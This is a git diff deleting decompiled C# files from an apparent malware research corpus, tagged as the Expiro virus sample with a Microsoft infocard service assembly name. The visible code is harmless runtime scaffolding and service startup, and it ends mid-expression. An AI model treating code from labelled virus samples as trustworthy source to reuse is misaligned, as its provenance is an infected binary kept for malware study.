a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/AtExitLock.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .AtExitLock -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct AtExitLock - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/DefaultDomain.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/DefaultDomain.cs deleted file mode 100644 index 8587e8e8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/DefaultDomain.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .DefaultDomain -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct DefaultDomain - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/LanguageSupport.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/LanguageSupport.cs deleted file mode 100644 index 8ac89d15..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/LanguageSupport.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .LanguageSupport -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct LanguageSupport - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/NativeDll.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/NativeDll.cs deleted file mode 100644 index 84b8b26b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/NativeDll.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .NativeDll -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct NativeDll - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/Progress.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/Progress.cs deleted file mode 100644 index 07f56b7c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/Progress.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Progress -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct Progress - { - [NativeCppClass] - [CLSCompliant(false)] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - public enum State - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/ThisModule.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/ThisModule.cs deleted file mode 100644 index 112ba2d6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/ThisModule.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .ThisModule -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct ThisModule - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/TriBool.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/TriBool.cs deleted file mode 100644 index 7c711f24..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/TriBool.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .TriBool -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct TriBool - { - [CLSCompliant(false)] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - public enum State - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CModule_003E.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CModule_003E.cs deleted file mode 100644 index 37443db9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CModule_003E.cs +++ /dev/null @@ -1,1399 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using \u003CCppImplementationDetails\u003E; -using \u003CCrtImplementationDetails\u003E; -using Microsoft.InfoCards; -using System; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Permissions; -using System.ServiceProcess; -using System.Threading; - -internal class \u003CModule\u003E -{ - internal static \u0024ArrayType\u0024\u0024\u0024BY07\u0024\u0024CBG \u003FA0x7907e524\u002Eunnamed\u002Dglobal\u002D0; - internal static \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBD \u003FA0x7907e524\u002Eunnamed\u002Dglobal\u002D1; - internal static \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBG \u003FA0x7907e524\u002Eunnamed\u002Dglobal\u002D2; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBD \u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040FAPBOFLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040BNBJOFNC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040PPLFHHPC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040LCFNHHJF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CB\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EC\u0040PNPIPOFH\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CB\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EC\u0040HAHAADLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0BC\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1CE\u0040MDDMNBFC\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024CB\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0BC\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1CE\u0040EMPLJBMF\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0P\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1BO\u0040IGNPGJKB\u0040\u003F\u0024AAh\u003F\u0024AAE\u003F\u0024AAl\u003F\u0024AAe\u003F\u0024AAv\u003F\u0024AAa\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAd\u003F\u0024AAT\u003F\u0024AAo\u003F\u0024AAk\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AA\u003F\u0024AA\u0040; - internal static unsafe ushort* g_lrpcProtocolSequence; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xc_mp_z; - [FixedAddressValueType] - internal static int \u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FUninitialized\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xi_vt_a; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitializedPerAppDomain\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - [FixedAddressValueType] - internal static bool \u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FIsDefaultDomain\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xc_ma_a; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitializedNative\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - [FixedAddressValueType] - internal static int \u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitialized\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xc_ma_z; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitializedVtables\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xi_vt_z; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitializedPerProcess\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static bool \u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static bool \u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static bool \u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static int \u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA; - internal static uint \u003FProcessAttach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static uint \u003FThreadAttach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static TriBool.State \u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A; - internal static uint \u003FProcessDetach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static uint \u003FThreadDetach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static uint \u003FProcessVerifier\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static TriBool.State \u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A; - internal static bool \u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xc_mp_a; - public static unsafe int** __unep\u0040\u003FDoNothing\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z; - public static unsafe int** __unep\u0040\u003F_UninitializeDefaultDomain\u0040LanguageSupport\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z; - [FixedAddressValueType] - internal static uint __exit_list_size_app_domain; - [FixedAddressValueType] - internal static unsafe __FnPtr* __onexitbegin_app_domain; - internal static uint \u003FA0x9b698f77\u002E__exit_list_size; - [FixedAddressValueType] - internal static unsafe __FnPtr* __onexitend_app_domain; - internal static unsafe __FnPtr* \u003FA0x9b698f77\u002E__onexitbegin_m; - internal static unsafe __FnPtr* \u003FA0x9b698f77\u002E__onexitend_m; - [FixedAddressValueType] - internal static unsafe void* \u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA; - [FixedAddressValueType] - internal static int \u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AXXZ __xc_z; - public static volatile uint __native_vcclrit_reason; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AXXZ __xc_a; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AHXZ __xi_a; - public static volatile __enative_startup_state __native_startup_state; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AHXZ __xi_z; - public static unsafe void* __native_startup_lock; - public static volatile uint __native_dllmain_reason; - - internal static unsafe int wmain() - { - \u003CModule\u003E.HeapSetInformation((void*) 0, (_HEAP_INFORMATION_CLASS) 1, (void*) 0, 0U); - ServiceBase.Run((ServiceBase) new InfoCardService()); - return 0; - } - - internal static unsafe void* RtlSecureZeroMemory(void* ptr, uint cnt) - { - sbyte* numPtr = (sbyte*) ptr; - if (cnt != 0U) - { - do - { - *numPtr = (sbyte) 0; - ++numPtr; - --cnt; - } - while (cnt != 0U); - } - return ptr; - } - - internal static unsafe void PropVariantInit(tagPROPVARIANT* pvar) - { - // ISSUE: initblk instruction - __memset((IntPtr) pvar, 0, 16); - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInDllMain() => \u003CModule\u003E.__native_dllmain_reason != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInProcessAttach() => \u003CModule\u003E.__native_dllmain_reason == 1U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInProcessDetach() => \u003CModule\u003E.__native_dllmain_reason == 0U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInVcclrit() => \u003CModule\u003E.__native_vcclrit_reason != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsSafeForManagedCode() => (\u003CModule\u003E.__native_dllmain_reason != uint.MaxValue ? 1 : 0) == 0 || (\u003CModule\u003E.__native_vcclrit_reason != uint.MaxValue ? 1 : 0) != 0 || \u003CModule\u003E.__native_dllmain_reason != 1U && \u003CModule\u003E.__native_dllmain_reason != 0U; - - internal static unsafe int \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EDoNothing( - void* cookie) - { - GC.KeepAlive((object) int.MaxValue); - return 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasPerProcess() - { - if (\u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A != (TriBool.State) 2) - return \u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A == (TriBool.State) -1; - void** voidPtr = (void**) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_a; - if (ref \u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_a < ref \u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_z) - { - while (*(int*) voidPtr == 0) - { - voidPtr += 4; - if ((IntPtr) voidPtr >= ref \u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_z) - goto label_5; - } - \u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) -1; - return true; - } -label_5: - \u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasNative() - { - if (\u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A != (TriBool.State) 2) - return \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A == (TriBool.State) -1; - void** voidPtr1 = (void**) &\u003CModule\u003E.__xi_a; - if (ref \u003CModule\u003E.__xi_a < ref 